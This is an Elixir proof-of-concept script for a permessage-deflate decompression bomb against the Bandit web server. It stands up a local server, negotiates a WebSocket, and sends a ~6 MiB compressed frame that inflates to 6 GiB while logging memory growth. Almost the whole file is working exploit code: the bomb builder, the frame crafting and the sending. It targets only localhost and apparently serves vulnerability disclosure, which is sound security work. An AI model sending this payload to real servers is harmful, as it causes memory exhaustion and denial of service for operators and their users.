# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Bomb.run()